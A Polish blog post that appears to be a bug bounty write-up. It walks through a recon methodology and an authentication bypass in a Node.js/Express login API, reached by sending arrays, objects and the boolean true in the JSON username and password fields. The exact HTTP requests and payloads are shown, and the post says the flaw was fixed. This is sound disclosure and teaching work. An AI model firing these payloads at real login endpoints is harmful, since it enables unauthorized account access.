Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book
Obejście uwierzytelniania – historia podatności znalezionej w programie Bug Bounty (Node.js)
Poniższy wpis opisuje jak udało mi się obejść mechanizm uwierzytelniania w aplikacji opartej o NodeJS w jednym z prywatnych programów bug bounty. Zaprezentuję także metodologię stosowaną w przypadku podobnych sytuacji, która bardzo często pozwala na znalezienie luki (bądź luk) w aplikacjach z pozoru wyglądających na takie, które nie zawierają żadnej funkcjonalności do “złamania”. Przykładem może być strona gdzie jedynym widocznym i dostępnym do testowania elementem jest formularz logowania.
Metodologia
Jeśli kiedykolwiek brałeś/brałaś udział w programie bug bounty z tzw. “otwartym” zakresem hostów dostępnych do testowania (przykładem mogą tu być programy GM, Sony, Oath czy Twitter) to wiesz, że pierwszą rzeczą, jaką wykonuje się w takim przypadku jest uruchomienie narzędzia do enumeracji subdomen. Pozwala to na utworzenie listy potencjalnych celów, która może zawierać kilkaset, a czasami nawet kilka tysięcy hostów. Jeśli specjalizujesz się w aplikacjach internetowych, jednym z narzędzi w Twoim arsenale może być np. Aquatone. Wynik jego działania to obszerny raport w formacie HTML, zawierający listę adresów, na których uruchomione są serwery www (porty 80, 443, 8080, 8443 itp.). Dodatkowo raport zawiera szczegółowe informacje o wysyłanych żądaniach wraz z odpowiedziami, a także zrzuty ekranu prezentujące treść serwowaną przez web serwer.
Bliższa analiza tych wyników z reguły sprowadza się do dużej liczby tzw. false-positives – standardowych odpowiedzi w rodzaju 404 Not Found, 401 Unauthorized, 500 Internal Server Error. Można się natknąć także na standardowe panele logowania urządzeń sieciowych, VPN czy domyślne strony instalacji serwerów www. Szansa na odkrycie w pełni funkcjonalnej, działającej aplikacji webowej, przeciwko której można wytoczyć “najcięższe działa” w poszukiwaniu błędów SQL Injection bądź Remote Code Execution jest bardzo znikoma.
Czasami jednak może dopisać nam szczęście i znajdziemy aplikację, która da nam szansę na znalezienie błędu i zgłoszenie go do programu. Może to być np. firmowy intranet stworzony przez programistów na potrzeby firmy z użyciem jednej z popularnych technologii (LAMP, Ruby on Rails czy NodeJS) czy napisany na zamówienie system do zarządzania zasobami ludzkimi (HR). Z reguły jedynym widocznym elementem, który możemy poddać testom jest formularz logowania.
Gdy uda mi się natknąć na podobną aplikację, z reguły podejmuję kilka działań, które pozwalają na zorientowanie się czy gra jest “warta świeczki”:
- W pierwszym kroku przeprowadzam wstępną analizę dostępnego kodu HTML. Szczególną uwagę zwracam na linki do dokumentów CSS oraz zewnętrznych skryptów JavaScript. Dzięki temu można odkryć foldery jak public/, assets/, scripts/, w których programista zapisał pliki używane przez aplikację – często ich sprawdzenie ujawnia tzw. directory listing oraz pliki, które nie są bezpośrednio podlinkowane z poziomu dokumentu HTML
- Wappalyzer (popularna wtyczka dostępna do większości przeglądarek) dokonuje analizy technologii używanych przez aplikację i zwraca informacje o zastosowanych rozwiązaniach zarówno po stronie serwerowej, jak i w aplikacji klienckiej (serwer www, języki programowania, biblioteki itp.). Dzięki tym informacjom wiemy jakich podatności możemy się spodziewać. Pozwala to zaoszczędzić mnóstwo czasu straconego na próbach exploitowania podatności specyficznych dla np. JavaEE, gdy wiemy, że backend zbudowany jest przy użyciu Ruby on Rails
- Jeśli aplikacja używa zewnętrznych plików JavaScript dokonuję ich statycznej analizy pod kątem adresów endpointów API czy zakomentowanych fragmentów kodu, w których często odkryć można działające funkcjonalności niedostępne z poziomu samej aplikacji. Często kod JavaScript zawiera też logikę walidacji danych wejściowych, co w niektórych przypadkach umożliwia całkowite obejście takiej walidacji lub znalezienie optymalnego sposobu na skonstruowanie payloadu.
- Dysponując informacjami zgromadzonymi w poprzednich krokach, przystępuję do testowania aplikacji. Używam w tym celu pakietu Burp Suite, w którym przechwytuję wszelką komunikację sieciową wymienianą pomiędzy przeglądarką a serwerem www i testuję każde żądanie. Testowanie polega na wysyłaniu zmodyfikowanych żądań z użyciem narzędzia pakietu Burp Suite o nazwie Repeater. Za każdym razem zmieniam jeden z parametrów żądania: metodę HTTP np. GET, POST, PUT czy DELETE), nagłówki żądania takie jak Content-Type, Host, User-Agent oraz zawartość (body). Używam wtedy rozmaitych payloadów – obiektów JSON, dokumentów XML itd. Za każdym razem staram się zidentyfikować jakiekolwiek zachowanie serwera, które odbiega od normy (poprzez porównanie z tzw. żądaniem wzorcowym, czyli wysłanym bezpośredni z aplikacji bez żadnych dodatkowych modyfikacji). Jeśli aplikacja zawiera jakąkolwiek podatność to jest to moment, w którym występuje największa szansa na jej znalezienie
- Jako tzw. “ostatni krok” uruchamiam skaner zasobów (tzw. enumeracja folderów i plików) starając się odkryć pliki i katalogi na serwerze www, które nie są dostępne z poziomu aplikacji. Używam w tym celu narzędzia o nazwie wfuzz oraz własnoręcznie zbudowanego słownika zawierającego najczęściej występujące zasoby, takie jak domyślne foldery popularnych aplikacji webowych, foldery systemów kontroli wersji, środowisk deweloperskich, najczęściej występujące nazwy bądź aliasy plików zawierających kopie zapasowe, czy “tymczasowe” pliki. Lista ta obecnie zawiera około 175 tysięcy wpisów i w zasadzie zawsze udaje mi się odkryć coś ciekawego pozostawionego na serwerze.
Jeśli żaden z powyższych kroków nie przyniesie oczekiwanych rezultatów, z czystym sumieniem można założyć, że odkrycie jakiejkolwiek podatności będzie bardzo trudne, o ile nie niemożliwe.Należy zadać sobie pytanie, jak dużo czasu możemy jeszcze poświęcić na szukanie błędów.
Tym razem jednak szczęście dopisało i parę wstępnych testów aplikacji, na którą się natknąłem dało nadzieję na znalezienie czegoś ciekawego, a może nawet na pomyślne “włamanie”. Był to prosty formularz logowania do czegoś, co wyglądało na customowy serwis stworzony od podstaw na potrzeby firmy.
Szybki rzut oka na nagłówki odpowiedzi HTTP oraz wyniki z Wappalyzera potwierdził, że mam do czynienia z aplikacją napisaną w JavaScript z użyciem frameworka ExpressJS, uruchomioną na NodeJS. Biorąc pod uwagę moje doświadczenie z JavaScript oraz aplikacjami zbudowanymi w oparciu o NodeJS zdecydowałem, że przyjrzę się tej aplikacji bliżej.
Odkrycie podatności
Testowanie rozpocząłem od wysłania standardowego żądania z wymyśloną nazwą użytkownika oraz hasłem (bez żadnych dodatkowych modyfikacji) tak, by otrzymać zwracany przez aplikację standardowy komunikat o błędnym logowaniu:
POST /api/auth/login HTTP/1.1 Host: REDACTED Connection: close Content-Length: 48 Accept: application/json, text/plain, */* Origin: REDACTED User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3558.0 Safari/537.36 DNT: 1 Content-Type: application/json;charset=UTF-8 Referer: REDACTED/login Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,pl-PL;q=0.8,pl;q=0.7 Cookie: REDACTED {“username”:”bl4de”,”password”:”secretpassword”}
Odpowiedź na wysłane żądanie nie zawierała niczego ekscytującego, poza jednym drobnym szczegółem, na który w pierwszym momencie w ogóle nie zwróciłem uwagi:
HTTP/1.1 401 Unauthorized X-Powered-By: Express Vary: X-HTTP-Method-Override, Accept-Encoding Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Access-Control-Allow-Headers: X-Requested-With,content-type, Authorization X-Content-Type-Options: nosniff Content-Type: application/json; charset=utf-8 Content-Length: 83 ETag: W/”53-vxvZJPkaGgb/+r6gylAGG9yaeoE” Date: Thu, 11 Oct 2018 18:50:26 GMT Connection: close {“result”:”User with login [bl4de] was not found.”,”resultCode”:401,”type”:”error”}
Wspomnianym szczegółem była nazwa użytkownika zwrócona w nawiasach kwadratowych. Nawiasy kwadratowe ([]) w języku JavaScript to element składni oznaczający tablicę, więc to, co znajdowało się w odpowiedzi serwera wyglądało jak przesłany login będący pierwszym elementem tablicy. Aby potwierdzić moje przypuszczenia, w kolejnym żądaniu jako nazwę użytkownika wysłałem pustą tablicę:
{“username”:[],”password”:”secretpassword”}
Odpowiedź była co najmniej podejrzana:
{“result”:”User with login [] was not found.”,”resultCode”:401,”type”:”error”}
Pusta tablica? Czy po prostu ciąg “[]” użyty jako nazwa użytkownika? Postanowiłem sprawdzić, co stanie się, gdy użyję pustego obiektu zamiast tablicy:
{“username”:{},”password”:”secretpassword”}
Odpowiedź jedynie utwierdziła mnie w przekonaniu, że cokolwiek zostanie wysłane w polu username, zostanie użyte jako login w aplikacji:
{"result":"val.replace is not a function","resultCode":500,"type":"error"}
Oto krótkie wyjaśnienie powyższego komunikatu. Obiekt w JavaScript (“{}”) nie posiada metody .replace(), więc wywołanie val.replace() spowoduje błąd składniowy. Można to bardzo łatwo sprawdzić np. przy pomocy konsoli w Chrome DevTools:
let val = {} val.replace() VM188:1 Uncaught TypeError: val.replace is not a function at <anonymous>:1:5
Eksploitacja
Odkrycie podatności a możliwość jej wykorzystania do “złamania” aplikacji to dwie różne rzeczy. Po potwierdzeniu, że błąd istnieje, zacząłem zastanawiać się, jak może wyglądać kod stojący za weryfikacją poprawności nazwy użytkownika i hasła. Na początek postanowiłem użyć jakiejś niestandardowej składni i zmusić aplikację do zwrócenia innych błędów. Zacząłem od zagnieżdżonych, pustych tablic:
{“username”:[[]],”password”:”secretpassword”}
Okazało się to strzałem w przysłowiową dziesiątkę:
{"result":"ER_PARSE_ERROR: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ') OR `Person`.`REDACTED_ID` IN ()) LIMIT 1' at line 1","resultCode":409,"type":"error"}
Pierwszą rzeczą, która przychodzi na myśl na widok takiego komunikatu to próba ataku SQL Injection. W pierwszej kolejności musiałem zbadać jak wygląda zapytanie SQL, by móc przygotować odpowiedni payload. Pamiętając, że nazwa użytkownika jest używana jako element tablicy, próbowałem odczytać jej zerowy element:
{“username”:[0],”password”:”secretpassword”}
Tym razem komunikat błędu był zupełnie inny:
{“result”:”User super.adm, Request {\”port\”:21110,\”path\”:\”/REDACTED? ApiKey=REDACTED\”,\”headers\”:{\”Authorization\”:\”Basic c3VwZXIuYWRtOnNlY3JldHBhc3N3b3Jk\”}, \”host\”:\”api-global.REDACTED\”}, Response {\”faultcode\”:\”ERR_ACCESS_DENIED\”,\”faultstring\”:\”User credentials are wrong or missing.\”, \”correlationId\”:\”Id-d5a9bf5b7ad73e0042191000924e3ca9\”}”,”resultCode”:401,”type”:”error”}
Aplikacja wykonała żądanie HTTP do serwera znajdującego się prawdopodobnie w wewnętrznej sieci, udostępniającego API na porcie 21110. W rezultacie tego zapytania zwrócony został komunikat informujący o błędzie uwierzytelniania. Zerowy element tablicy okazał się wskazywać na użytkownika o nazwie “super.adm”. Payload zadziałał i byłem w stanie dokonać enumeracji użytkowników w bazie danych (oprócz “super.adm” znalazłem jeszcze dwóch użytkowników, o indeksach 1 i 2). Dodatkowo, dzięki kilku kolejnym przeprowadzonym testom odkryłem, że indeksy są używane w klauzuli IN() zapytania SQL, które zwracało odpowiadającą nazwę użytkownika za każdym razem, gdy na liście znalazł się jeden z indeksów 0,1 lub 2:
{"username":[23,5,0,30,50,100],"password":"secretpassword"} <- “super.adm”
Do “obejścia” pozostała zatem walidacja hasła. Zacząłem od najprostszej rzeczy, która przyszła mi do głowy: jako wartość “password” użyłem JavaScriptowej logicznej wartości false (Boolean false):
{“username”:[0],”password”:false}
Tym razem serwer odpowiedział komunikatem błędu o braku danych do uwierzytelnienia:
{"result":"Please provide credentials","resultCode":500,"type":"error"}
Tego błędu nie widziałem wcześniej, ale po wykonaniu paru dodatkowych testów upewniłem się, że jest on zwracany zawsze gdy w żądaniu brakuje jednej z dwóch wymaganych wartości: loginu lub hasła. Ponieważ login w żądaniu był obecny, komunikat oznaczał, że aplikacja nie otrzymała hasła. Kilka prób z innymi wartościami, które w JavaScript zawsze są typu false (0, null czy pusty string – tzw. “falsy values”) potwierdziły moje podejrzenia, że hasło jest używane bezpośrednio w warunku sprawdzającym dane logowania bez żadnej dodatkowej walidacji, a ciąg false jest traktowany jako brak hasła (a nie jako błędne hasło).
Finalny “Proof of Concept”
Skoro false zwraca błąd, co stanie się, gdy użyjemy true?
{“username”:[0],”password”:true}
W tym momencie aplikacja pomyślnie “uwierzytelniła” mnie jako użytkownika posiadającego istniejący login oraz prawidłowe hasło. Zerowy element tablicy (pierwszy rekord listy użytkowników pobranej z bazy danych) wraz z logicznym true podanym jako hasło wystarczył do ominięcia uwierzytelniania.
Podsumowanie
Niestety, nie udało mi się uzyskać dostępu do aplikacji z powodu dodatkowego elementu, jakim był PIN wymagany w następnym kroku (aplikacja posiadała implementację działającą na zasadzie 2FA -PIN był drugim krokiem w procesie logowania). Niemniej Program uznał, że obejście uwierzytelniania jakie zaprezentowałem jest jednak warte uwagi.
W ciągu kilku dni błąd został naprawiony, a na moje konto wpłynęło całkiem sympatyczne bounty.
– Rafał „bl4de” Janicki
kozak?
No ladnie. Lubie takie recki. Czytam jak kryminal. Gratki dla kolegi.
Rafał bardzo dziękuję za kapitalny opis, także wskazanie na narzędzie Aquatone.
Olbrzymią wartością artykułu jest opisanie krok po kroku metodyki użytej do badania podatności, za to ogromny plus.
P.S.
Literówka pkt 4 „…wysłanym bezpośredni z aplikacji…”